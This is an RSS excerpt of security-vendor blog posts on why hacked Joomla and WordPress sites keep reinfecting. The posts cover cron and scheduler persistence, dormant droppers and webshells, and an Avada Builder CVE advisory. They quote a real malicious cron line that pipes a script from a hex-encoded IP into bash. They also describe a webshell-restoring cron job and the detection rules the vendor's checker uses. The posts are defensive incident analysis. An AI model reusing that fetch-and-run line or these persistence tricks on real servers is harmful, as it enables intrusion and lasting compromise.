&lt;p&gt;Here is one we worked recently, and it is the cleanest example of why this matters. A client&apos;s site kept reinfecting after every clean. Their own account&apos;s cron was empty. The reinfection was coming from a root-level job the attacker had planted in &lt;code&gt;/etc/cron.daily/cpanel_sync&lt;/code&gt;, a file named to blend in perfectly with the legitimate cPanel jobs that live in that same directory. Nobody glancing at the server would give &lt;code&gt;cpanel_sync&lt;/code&gt; a second look.&lt;/p&gt;
&lt;p&gt;The job itself was a single line, deliberately obfuscated:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# curl -sL 0xa59ac734/s | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;0xa59ac734&lt;/code&gt; is not a domain, it is an IP address written in hexadecimal. Decode it and you get &lt;code&gt;165.154.199.52&lt;/code&gt;, an ordinary dotted IP pointing at a server overseas. The line downloads a script from that IP and pipes it straight into bash, so nothing is stored on disk to scan for. What the script does is drop a backdoor named &lt;code&gt;helps.php&lt;/code&gt; into practically every folder on every site on the server, then harvest the server&apos;s details and domains and report back to the attacker that the box is ready to be hacked again. It runs once a day, as root, forever.&lt;/p&gt;
&lt;p&gt;This is the situation a site owner cannot fix and should not try to. As we told the client at the time: until that &lt;code&gt;/etc/cron.daily/cpanel_sync&lt;/code&gt; job is removed by someone with server root access, there is no point cleaning the site, because every site on the server gets reinfected the next time it runs. The hack is coming from inside the server. You can delete &lt;code&gt;helps.php&lt;/code&gt; from all of your folders, and tomorrow it is back in all of them. The only fix is at the root level, by whoever administers the box, which on a compromised shared server may mean the host itself.&lt;/p&gt;
&lt;p&gt;Writing this post is what exposed a gap in our own checker, and that job is why two things changed. Start with the &lt;code&gt;/etc/cron.daily&lt;/code&gt; style directories. They hold shell scripts rather than crontab lines, so an early version of the check skipped them entirely: reading a shell script line by line presents &lt;code&gt;set -e&lt;/code&gt; and &lt;code&gt;fi&lt;/code&gt; to you as though they were scheduled jobs, and stock Debian&apos;s own &lt;code&gt;apt-compat&lt;/code&gt; script trips an obfuscation rule. Skipping them fixed the noise by giving up the detection, in exactly the directory where we had personally found the worst backdoor we have seen. They are read again now, hourly through monthly, scanned as whole files rather than line by line, so ordinary shell stays invisible and only lines that genuinely classify as suspicious become a row. Then there is &lt;code&gt;0xa59ac734&lt;/code&gt; itself. A rule that only knew what a dotted IP looked like read that as an unremarkable word, so hexadecimal and plain-integer IPs are both decoded and flagged now, each pinned by its own test.&lt;/p&gt;
&lt;h2&gt;Why a backup restore does not fix this&lt;/h2&gt;
&lt;p&gt;The instinct when a site keeps reinfecting is to wipe it and restore a clean backup. It does not work, and the reason is precisely the one this whole post is about.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;A backup restore replaces your files and database. It does not touch the OS-level crontab. If a malicious scheduled task is still in place, anywhere on the server, the freshly restored site reinfects on the cron&apos;s next run, often within minutes. Restoring files is not the same as closing every backdoor.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is the norm, not a rare worst case. In Sucuri&apos;s most recent annual hacked-website report, 49.21% of compromised sites contained at least one backdoor, and among sites with database-level malware, 55% had a malicious admin user left behind for re-entry. Malicious cron jobs specifically appeared on 2.14% of compromised sites, which sounds small until you remember it is the subset where the cleanup is guaranteed to fail unless you find the cron. Layered persistence is how these campaigns are designed. Remove one backdoor when the site has three, plus a rogue admin and a cron job in &lt;code&gt;/etc/cron.d&lt;/code&gt;, and you have only reset the clock.&lt;/p&gt;
&lt;h2&gt;Cron is one of three scheduler layers, not all of them&lt;/h2&gt;
&lt;p&gt;There is a trap even careful admins fall into here. Your root admin checks every crontab on the box, the OS crontab is genuinely clean everywhere, and the site still reinfects. The reason is that &quot;scheduled task&quot; means three different things on a CMS server, and the OS crontab is only one of them.&lt;/p&gt;
&lt;p&gt;WordPress has its own scheduler, WP-Cron, whose events are stored in the &lt;code&gt;cron&lt;/code&gt; row of the &lt;code&gt;wp_options&lt;/code&gt; table, not in any file or OS crontab. Joomla has the direct equivalent in its &lt;code&gt;#__scheduler_tasks&lt;/code&gt; table, which is also what can leave &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;Joomla scheduled tasks stuck in a locked state&lt;/a&gt; after a crash. Malware can register a malicious event in either one, so a backdoor can re-arm itself entirely from the database while every OS crontab on the server reads clean. That is also why the &lt;a href=&quot;https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/&quot;&gt;mass &lt;code&gt;.htaccess&lt;/code&gt; reinfection we built a one-click cleaner for&lt;/a&gt; can rebuild thousands of files within minutes of deletion: something is scheduled to do it, and that something is not always in the place you looked.&lt;/p&gt;
&lt;p&gt;So reinfection hunting has to cover three layers: the OS crontab in all the locations above, the CMS&apos;s own scheduler table, and the &lt;code&gt;at&lt;/code&gt; and systemd timers a server admin checks. Miss any one and the site comes back.&lt;/p&gt;
&lt;h2&gt;What mySites.guru checks in cron, and what it cannot&lt;/h2&gt;
&lt;p&gt;Every snapshot of a connected site now runs a check called &lt;strong&gt;Check For Malicious Cron Jobs&lt;/strong&gt;, on Joomla, WordPress and generic connected sites alike. It is part of the subscription, it runs on its own without being asked, and it reads four kinds of location in order: your account&apos;s own crontab, whether that is &lt;code&gt;/var/spool/cron/USERNAME&lt;/code&gt; on cPanel and RHEL or &lt;code&gt;/var/spool/cron/crontabs/USERNAME&lt;/code&gt; on Debian, Ubuntu and Plesk; the system crontab at &lt;code&gt;/etc/crontab&lt;/code&gt;; the drop-in files under &lt;code&gt;/etc/cron.d/&lt;/code&gt;; and the &lt;code&gt;/etc/cron.hourly/&lt;/code&gt;, &lt;code&gt;/etc/cron.daily/&lt;/code&gt;, &lt;code&gt;/etc/cron.weekly/&lt;/code&gt; and &lt;code&gt;/etc/cron.monthly/&lt;/code&gt; script directories. Everything past the first of those runs as root and is invisible in cPanel and Plesk, which is the whole reason for reading it.&lt;/p&gt;
&lt;p&gt;Each line is then classified, and a malicious job is kept separate from one that is merely unusual. Only tells with no innocent explanation in a website&apos;s cron mark a site as hacked: downloading something and piping it straight into a shell, decoding an encoded blob and running the result, fetching from a bare IP rather than a hostname, executing a program out of &lt;code&gt;/tmp&lt;/code&gt; or &lt;code&gt;/dev/shm&lt;/code&gt;, running a hidden dot-prefixed file, making a file executable from cron, clearing the shell history, or running a file already flagged as malware elsewhere on your site. Anything else that just looks odd is reported separately as worth a look and never turns the site red. That balance is deliberate, because a false positive here tells a customer their site is hacked when it is not. Your Joomla scheduler, a WordPress cron trigger, an Akeeba backup, certbot, rsync, mysqldump, a lock file in &lt;code&gt;/tmp&lt;/code&gt; and a log redirect all read as normal, because they are.&lt;/p&gt;
&lt;p&gt;When a job does classify as malicious, you get an email about it, and you can remove that single line from the audit screen. It only ever deletes one line at a time, only a line it flagged when it showed it to you, and it never adds or edits a cron job. The order matters more than the button does: remove the job first, then clean the files. Clean the files while the job is still scheduled and it will put them straight back.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This check is in beta, and it is not proof that cron is clean&lt;/p&gt;
  &lt;p&gt;To read your cron jobs we need roughly the permissions an attacker would need to plant one, and plenty of hosts do not grant them. On about one connected site in ten every exec primitive is disabled and the spool files are locked, so we cannot look at all. When that happens the check says so, rather than reporting a clean result. &quot;We read it and it is clean&quot; and &quot;we could not look&quot; are very different answers, and only one of them is good news. Treat this as one more place to look, not as a complete view of everything scheduled on the machine.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Getting that part right mattered more to us than the detection did. The worst thing a cron checker can do is show a green tick to somebody whose server never let it read a single file, and that is a far easier mistake to make than missing a job. Jobs belonging to root, to other accounts on a shared machine, or to the hosting panel itself are frequently outside reach, and rows we can see but have no permission to change are marked read-only so you know to take them to your host. The check also stops deliberately at the operating system: WP-Cron in &lt;code&gt;wp_options&lt;/code&gt; and Joomla&apos;s &lt;code&gt;#__scheduler_tasks&lt;/code&gt; are the other two layers from the section above, and it does not cover them.&lt;/p&gt;
&lt;h2&gt;Why monitoring beats hunting for the cron after the fact&lt;/h2&gt;
&lt;p&gt;Finding the cron is reactive, and by definition you only start looking after the reinfection has already happened at least once. The faster signal is the file the cron keeps rewriting. A reinfection job exists to re-create a specific file on a schedule, so the moment that file reappears, something has changed on disk, and a change on disk is detectable even when the cron driving it is in a crontab you cannot read.&lt;/p&gt;
&lt;p&gt;That is the principle the mySites.guru audit runs on, and it is why the cron check above is one layer rather than the answer. The cron rows tell you what is scheduled where we are allowed to look; these layers catch the reinfection regardless of where the cron is hiding, including in the crontabs nobody outside root will ever read: &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;uploader and backdoor detection&lt;/a&gt; that hunts the dropper class specifically, a &quot;Files Modified Between Audits&quot; check that diffs every file against your last scan, core-file hash verification, and a near-real-time &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;File Watch List&lt;/a&gt; that recomputes a watched file&apos;s checksum on every page load and emails you the instant its content changes. Add the webshell path the cron keeps rebuilding to that list and you get an alert within moments of each reinfection, which is usually how you discover the cron exists in the first place. The hash list behind it carries more than 14,000 confirmed known-bad files and roughly 1,500 hand-written content patterns, and a hack found on one connected site is checked for on every other site&apos;s next audit.&lt;/p&gt;
&lt;p&gt;If a site is reinfecting, start with the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full hacked-site cleanup process&lt;/a&gt;, close the original way in, then treat the cron audit as server-wide, not account-wide, and get root involved. For serious or repeat compromises, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;professional cleanup&lt;/a&gt; will go through every layer. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start a free audit&lt;/a&gt; and see what is already scheduled to run on your sites.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2023/02/attackers-abuse-cron-jobs-to-reinfect-websites.html&quot;&gt;Attackers Abuse Cron Jobs to Reinfect Websites&lt;/a&gt; - Sucuri on the two re-creation mechanisms (remote re-download and base64 self-rewrite) and why scanners never see them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2019/05/cronjob-backdoors.html&quot;&gt;Cronjob Backdoors&lt;/a&gt; - Sucuri&apos;s earlier deep-dive, including a cron that pulls its command from a DNS TXT record.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2013/05/from-a-site-compromise-to-full-root-access-local-root-exploits-part-ii.html&quot;&gt;From a Site Compromise to Full Root Access&lt;/a&gt; - the canonical write-up on how one hacked site escalates to the whole server.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1053/003/&quot;&gt;MITRE ATT&amp;amp;CK T1053.003: Scheduled Task/Job: Cron&lt;/a&gt; - the adversary technique catalogued, with detection guidance.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man5/crontab.5.html&quot;&gt;crontab(5) man page&lt;/a&gt; - the authoritative reference for every cron file location and who can write to it.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>security</category><category>hacked</category><category>malware</category><category>backdoor</category><category>monitoring</category><enclosure url="https://mysites.guru/_astro/reinfected-check-every-crontab-not-just-yours.w_i_bVhd.png" length="0" type="image/png"/></item><item><title>Hacked Yesterday, Exploited Today: Why One Cleanup Is Never the End</title><link>https://mysites.guru/blog/hacked-yesterday-exploited-today/</link><guid isPermaLink="true">https://mysites.guru/blog/hacked-yesterday-exploited-today/</guid><description>The first hack plants a dormant dropper. The real damage comes in the second wave, days or weeks later. Here is why monitoring beats one-shot cleanup.</description><pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Three unauthenticated remote-code-execution zero-days hit Joomla in June 2026, one after another: &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;. The patches are out, the scanners have moved on, and a few weeks later it all feels like it has settled down. That calm is the dangerous part. The first wave of attackers has done its job: it got in, dropped its files, and went quiet. Those files are still there, waiting.&lt;/p&gt;
&lt;p&gt;This is the part most &quot;my site got hacked&quot; advice gets wrong. A modern compromise is not a single event you clean up and forget. The first wave is reconnaissance and groundwork. It plants dormant uploaders, hidden admin accounts and malicious scheduled tasks that do nothing visible at first. Then the second wave arrives, days or weeks later, and uses that groundwork to plant more backdoors, inject JavaScript into your template files, redirect your homepage to spam, and turn the site to profit. Being hacked yesterday does not mean you are safe today. It usually means the opposite.&lt;/p&gt;
&lt;p&gt;That gap between the breach and the damage is exactly where reactive cleanup fails and monitoring earns its place. You cannot clean what you cannot see, and the second wave does not announce itself on the page a browser scanner checks. It changes files on disk, between scans, when nobody is looking. Catching it means watching for those changes continuously, not running one scan after the horse has bolted.&lt;/p&gt;
&lt;h2&gt;How mySites.guru catches the second wave between two clean-looking scans&lt;/h2&gt;
&lt;p&gt;A dormant dropper planted in the first wave will not change the homepage your visitors see, so a browser-level scanner that loads your front page finds nothing. What it changes is files on disk. mySites.guru&apos;s audit is built around that fact, and the most on-thesis tool in it is called &lt;strong&gt;Files Modified Between Audits&lt;/strong&gt;: it compares every file in this audit against the previous one and flags anything that changed in between. A backdoor that lay quiet through your last clean scan and woke up this week shows up here as a diff, in red, with the note &quot;we highly recommend that you review these files.&quot;&lt;/p&gt;
&lt;p&gt;Two more checks in the same audit hunt the rest of the second-wave kit. &lt;strong&gt;Check Files That Can Attempt To Upload Files&lt;/strong&gt; looks specifically for the dropper and uploader class of file, the small scripts an attacker leaves behind precisely so they can return and upload more later. &lt;strong&gt;Changes To Core Joomla Files Should Be Avoided&lt;/strong&gt; (and its WordPress equivalent) hashes every core file against the official release, so injected JavaScript or a modified &lt;code&gt;index.php&lt;/code&gt; is caught even when the file looks like it belongs.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;An audit is a point-in-time snapshot. For the gap between audits, mySites.guru also offers a near-real-time File Watch List: add files like configuration.php, wp-config.php or your template&apos;s index.php, and the on-site plugin recomputes their checksum on every page load and emails you the instant the content changes.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The reason this matters is that the audit reads every file on the server, line by line, including the dot-prefixed and oddly-named ones a scanner never opens. During the JCE wave, attackers dropped webshells with &lt;code&gt;.xml.php&lt;/code&gt; double extensions into &lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;images&lt;/code&gt; and &lt;code&gt;media&lt;/code&gt; folders. A scan of your rendered homepage will never find a &lt;code&gt;.xml.php&lt;/code&gt; file sitting in &lt;code&gt;/images&lt;/code&gt;. A file-level audit that hashes everything will. That is the whole difference between checking what your visitors see and checking what is actually on your server.&lt;/p&gt;
&lt;p&gt;Here is what that looks like on a real site, caught in an audit. These are confirmed backdoors, flagged &quot;Hacked File&quot; against a known-bad hash, sitting quietly and waiting:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Look at the dates. One shell, &lt;code&gt;314a3aeeae46d13e.php&lt;/code&gt; in &lt;code&gt;/images/administrator&lt;/code&gt;, was planted two weeks ago. The rest, scattered through &lt;code&gt;/media/com_sppagebuilder/assets/iconfont/&lt;/code&gt; as &lt;code&gt;.PHP&lt;/code&gt; files and a &lt;code&gt;.htaccess&lt;/code&gt; hidden in a fonts folder, landed two days ago. Two separate visits, two waves, both dormant. None of them changed a single thing a visitor would see, which is exactly why an external scanner that only reads your rendered pages walks straight past them. mySites.guru found all six because it audits under the hood: every file, every line.&lt;/p&gt;
&lt;h2&gt;What does a dormant dropper actually do?&lt;/h2&gt;
&lt;p&gt;A dropper is a small uploader script that does nothing visible when it is first planted. It waits. When the attacker comes back, it pulls down whatever they want next: a fuller webshell, an SEO spam directory, a credit-card skimmer, a crypto drainer. Uploaders are not a rare exotic. In Sucuri&apos;s analysis of website reinfection, the single most common backdoor type found was an uploader, &quot;a PHP script that allows attackers to upload any file that they want.&quot; Attackers favour them precisely because they enable the later waves.&lt;/p&gt;
&lt;p&gt;This is why the timeline of a compromise looks the way it does. The first wave is fast and quiet. It exploits the vulnerability, plants the dropper, maybe creates a hidden admin account, and leaves. There is often no defacement, no obvious redirect, nothing a casual look at the site would catch. Owners who do notice clean up the one file they found and assume it is over. It is not over. The dropper is still there, and so is whatever else the attacker seeded for persistence.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;WordPress supply-chain backdoor in the Essential Plugin portfolio&lt;/a&gt; is the cleanest illustration of the timeline. A buyer acquired the plugins, planted a backdoor in August 2025, and let it sit &lt;strong&gt;dormant for eight months&lt;/strong&gt; before activating it in April 2026 to inject SEO spam and open a remote-code-execution endpoint. Eight months between the plant and the payload. A scan run in, say, December would have shown a perfectly healthy site.&lt;/p&gt;
&lt;h2&gt;Why does a cleaned site get hacked again within minutes?&lt;/h2&gt;
&lt;p&gt;A site that keeps getting reinfected almost always comes down to one of four things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The clean was not complete.&lt;/strong&gt; The visible malware is the part you are meant to find and remove. Underneath it sits the persistence layer: compromised FTP credentials, dormant droppers and a row of webshells you never spotted. Miss one and the attacker is still inside. This is exactly what a full file-level audit is for: use the mySites.guru tools to find every backdoor, not just the one you tripped over.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The original way in was never closed.&lt;/strong&gt; Even a perfect clean is pointless if the hole that let them in is still open. If the site was breached through an outdated JCE Editor and you never upgrade it, the attacker simply re-exploits the same unauthenticated vulnerability and walks straight back through the front door, fresh shells in hand. Fixing the symptom without fixing the root entry point is not a fix at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A scheduled task is rebuilding the malware for them.&lt;/strong&gt; Attackers plant cron jobs whose only purpose is to rewrite the payload the moment it disappears, so the site re-infects itself with no second visit required. The catch is that the cron is often not in your own account, so &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;check every crontab on the server, not just yours&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The super admin accounts were never checked.&lt;/strong&gt; A clean that only touches files ignores the database, where attackers quietly add their own super-user account or promote an existing one. With a valid login they do not need the original vulnerability or a webshell at all: they log straight in and re-plant everything. List every super admin, confirm you recognise each one, and delete the rest.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Points one and two are about being thorough and patching properly, and point four about auditing who can log in. Point three is the one that catches even careful people out, so it is worth seeing in the wild.&lt;/p&gt;
&lt;p&gt;We saw exactly this on a live Joomla server this week. A mySites.guru audit surfaced a cron job, running every five minutes, that checks whether a hidden webshell (&lt;code&gt;.sys-mta-miud.php&lt;/code&gt;) is still sitting in the public web root and, if it has gone, copies a stashed backup of it (&lt;code&gt;.sys_xicyll.php&lt;/code&gt;, tucked away in a &lt;code&gt;.cache&lt;/code&gt; directory) straight back into place. The leading dots hide the files from a casual directory listing, the innocuous &lt;code&gt;# SYSCHK&lt;/code&gt; comment makes the line look like a routine system check, and &lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt; swallows any error. Delete the shell and it is back inside five minutes.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is why restoring files alone never finishes the job:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;Even if you restore all your files and database from a clean backup and close all known vulnerabilities, the malicious scheduled tasks will still be there and will reinfect your site in a few minutes. Restoring files is not the same as closing every backdoor.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is the norm, not a rare worst case. In Sucuri&apos;s 2023 hacked-website data, &lt;strong&gt;49.21% of compromised sites contained at least one backdoor&lt;/strong&gt;, and among sites with database-level malware, &lt;strong&gt;55.2% had a malicious admin user&lt;/strong&gt; left behind for re-entry. Layered persistence is how these campaigns are designed. Removing one backdoor when the site has three, plus a rogue admin and a cron job, just resets the clock.&lt;/p&gt;
&lt;p&gt;The JCE wave is a textbook example of designing for repeat entry. Attackers did not leave a single way back in, they left a row of them. This audit found fourteen rogue editor profiles, all named &lt;code&gt;__pwn_traverse__&lt;/code&gt;, each one configured to allow uploading dangerous &lt;code&gt;.php&lt;/code&gt; and wildcard files through the editor, plus a machine-generated profile (&lt;code&gt;J144757&lt;/code&gt;) matching the attacker&apos;s naming pattern. Every one of those profiles is a standing door. Delete the webshell and they walk back through the next profile, upload another, and carry on. That is how a site gets hacked again, and again, and again, long after the first cleanup looked like it worked.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The same redundancy shows up in the shell files themselves. On this site the attacker dropped the identical payload into &lt;code&gt;/images/media&lt;/code&gt; five times over, changing only the case of the extension: &lt;code&gt;sauk872_1781619699.php&lt;/code&gt;, &lt;code&gt;.pHp&lt;/code&gt; and &lt;code&gt;.pHP&lt;/code&gt;, alongside &lt;code&gt;loqnip.php&lt;/code&gt; and &lt;code&gt;pnszqf.php&lt;/code&gt;, all planted in the same visit two weeks ago. The casing trick is deliberate. A hand-written cleanup that searches for &lt;code&gt;*.php&lt;/code&gt; in lowercase, or a server rule that blocks one casing, leaves the &lt;code&gt;.pHp&lt;/code&gt; and &lt;code&gt;.pHP&lt;/code&gt; copies live and executable. A hash-based audit does not care about the extension at all, so it flagged every copy as a confirmed hacked file.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The second wave on the page: injected JavaScript, redirects and spam&lt;/h2&gt;
&lt;p&gt;Once the dropper has done its work, the second-wave payload is built for money. The dominant forms are malicious JavaScript and conditional redirects. Injected JavaScript in a template or theme file runs in every visitor&apos;s browser. A conditional redirect bounces traffic from Google to spam or phishing while leaving the site looking normal when you visit it directly. Sucuri&apos;s 2024 scan data found malware and malicious redirects on &lt;strong&gt;74.7% of infected sites&lt;/strong&gt; and SEO spam on &lt;strong&gt;38.4%&lt;/strong&gt;, alongside crypto drainers and credit-card skimmers for direct financial theft.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/&quot;&gt;mass &lt;code&gt;.htaccess&lt;/code&gt; injection we built a one-click cleaner for&lt;/a&gt; is this exact mechanism at scale. On a hacked Joomla or WordPress site we have seen close to 9,000 malicious &lt;code&gt;.htaccess&lt;/code&gt; files, one in nearly every folder, each carrying a redirect or PHP-injection rule. They are spread that wide for coverage and persistence: a hidden backdoor rewrites them within minutes of deletion, so cleaning the root file alone achieves nothing. That is the second wave in physical form, thousands of files planted to survive your cleanup, with a dropper standing by to replace any you remove.&lt;/p&gt;
&lt;p&gt;The newer trend is worse for anyone relying on file scans alone. Campaigns like Sign1 increasingly store their payload in the database (in WordPress options rows) rather than in files, which is precisely why a once-and-done file scan misses them and continuous, multi-layer monitoring does not. The &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt; hitting unpatched Helix3 Joomla sites en masse since 5 July does the same thing: the defacement lives in the template settings in the database, so every clean file scan comes back green while the skull is still on the homepage.&lt;/p&gt;
&lt;h2&gt;Why monitoring beats a one-time scan&lt;/h2&gt;
&lt;p&gt;Every reinfection report lands on the same point. Cleanup is necessary but it is not enough, because the attacker planned for your cleanup. What actually protects a site is continuous visibility: knowing what changed, and when, so a dropper that wakes up three weeks after the breach is caught the moment it touches a file.&lt;/p&gt;
&lt;p&gt;Sucuri&apos;s own recommendation for self-reinstalling malware is &quot;a file integrity monitoring service that resides mostly outside of the environment itself,&quot; comparing file hashes against known-good copies so you can see tampering even when the malware is built to hide. That is the principle mySites.guru runs on across every site you manage: an audit that diffs files between scans, an uploader hunter for the dropper class specifically, core-file hash verification, renamed-file detection for the &lt;code&gt;.bak&lt;/code&gt; and &lt;code&gt;.old&lt;/code&gt; stash trick, and a near-real-time File Watch List for the files you most want to guard. The hash list behind it carries more than 14,000 confirmed known-bad files and over 2,000 hand-written content patterns, updated daily, and a hack found on one connected site is checked for on every other site&apos;s next audit.&lt;/p&gt;
&lt;p&gt;When we find an actively exploited Joomla zero-day, we do not just forward a CVE. With the iCagenda flaw we reproduced it ourselves, confirmed it was being exploited in the wild before any patch existed, filed responsible disclosure with the vendor, alerted every affected account, then code-reviewed JoomliC&apos;s 4.0.8 fix the same day it shipped and told users it was safe to reinstate. That is the level of attention the second wave demands, and it is why monitoring is not a slogan here, it is how the tooling is built.&lt;/p&gt;
&lt;p&gt;If you suspect a site is compromised, start with &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;whether your site is hacked&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full hacked-site cleanup process&lt;/a&gt;, then use the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hack and backdoor detection&lt;/a&gt; to find what the first wave left behind. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start a free audit&lt;/a&gt; and see what is already sitting on your server, waiting.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2021/11/an-overview-of-website-reinfection-vectors.html&quot;&gt;An Overview of Website Reinfection Vectors&lt;/a&gt; — Sucuri on why uploaders are the most common backdoor and how attackers guarantee they can return.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2023/02/attackers-abuse-cron-jobs-to-reinfect-websites.html&quot;&gt;Attackers Abuse Cron Jobs to Reinfect Websites&lt;/a&gt; — the mechanism behind sites that reinfect within minutes of cleanup.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2026/03/web-shells.html&quot;&gt;Web Shells&lt;/a&gt; — Sucuri on how webshells evade detection without continuous monitoring.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.yeswehack.com/news/rce-joomla-content-editor-extension&quot;&gt;RCE in the Joomla Content Editor Extension&lt;/a&gt; — YesWeHack&apos;s technical write-up of the JCE chain (CVE-2026-48907).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/06/16/cisa-adds-one-known-exploited-vulnerability-catalog&quot;&gt;CISA Known Exploited Vulnerabilities Catalog&lt;/a&gt; — the federal advisory that confirmed the JCE flaw was being actively exploited.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>security</category><category>hacked</category><category>malware</category><category>backdoor</category><category>monitoring</category><enclosure url="https://mysites.guru/_astro/hacked-yesterday-exploited-today.DojjEZTj.png" length="0" type="image/png"/></item><item><title>Avada Builder 3.15.4 Patches an Unauthenticated File Deletion Flaw (CVE-2026-8713)</title><link>https://mysites.guru/blog/avada-builder-cve-2026-8713/</link><guid isPermaLink="true">https://mysites.guru/blog/avada-builder-cve-2026-8713/</guid><description>Avada Builder 3.15.4 fixes a critical unauthenticated arbitrary file deletion flaw (CVE-2026-8713, CVSS 9.1) that can delete wp-config.php and hand an attacker the whole site. Here&apos;s how to find every site you manage still running an unpatched version.</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Avada Builder, the plugin bundled with the Avada theme by ThemeFusion, runs on around 1 million WordPress sites. On 19 June 2026 a new CVE landed against it: &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8713&quot;&gt;CVE-2026-8713&lt;/a&gt;, an unauthenticated arbitrary file deletion flaw rated &lt;strong&gt;CVSS 9.1 Critical&lt;/strong&gt;. The fix shipped quietly weeks earlier in version &lt;strong&gt;3.15.4&lt;/strong&gt;, released on 2 June 2026.&lt;/p&gt;
&lt;p&gt;This is a more dangerous bug than the &lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/&quot;&gt;file read and SQL injection pair we covered in 3.15.3&lt;/a&gt;. Those leaked data. This one deletes it. An unauthenticated attacker can submit a crafted payload through a public Avada form and delete any file on the server, and deleting the right file turns into a full site takeover. Update to &lt;strong&gt;3.15.4&lt;/strong&gt; now.&lt;/p&gt;
&lt;p&gt;If you manage WordPress sites for clients, the advisory is the easy bit. The work is figuring out which of your sites are still on 3.15.3 or earlier, then pushing the update to every one of them. Across the mySites.guru network we track Avada Builder on nearly 1,000 sites belonging to hundreds of agencies, and when we checked our own connected sites against this CVE, every single Avada Builder install we monitor was on a version below the 3.15.4 fix. Nobody had updated yet. That gap is the whole point of this post.&lt;/p&gt;
&lt;h2&gt;Finding Every Avada Builder Site in Your Portfolio&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each one and check the Plugins screen. Past that, you need a single view. The Plugins screen approach is slow, error-prone, and only tells you what was on disk the last time someone looked.&lt;/p&gt;
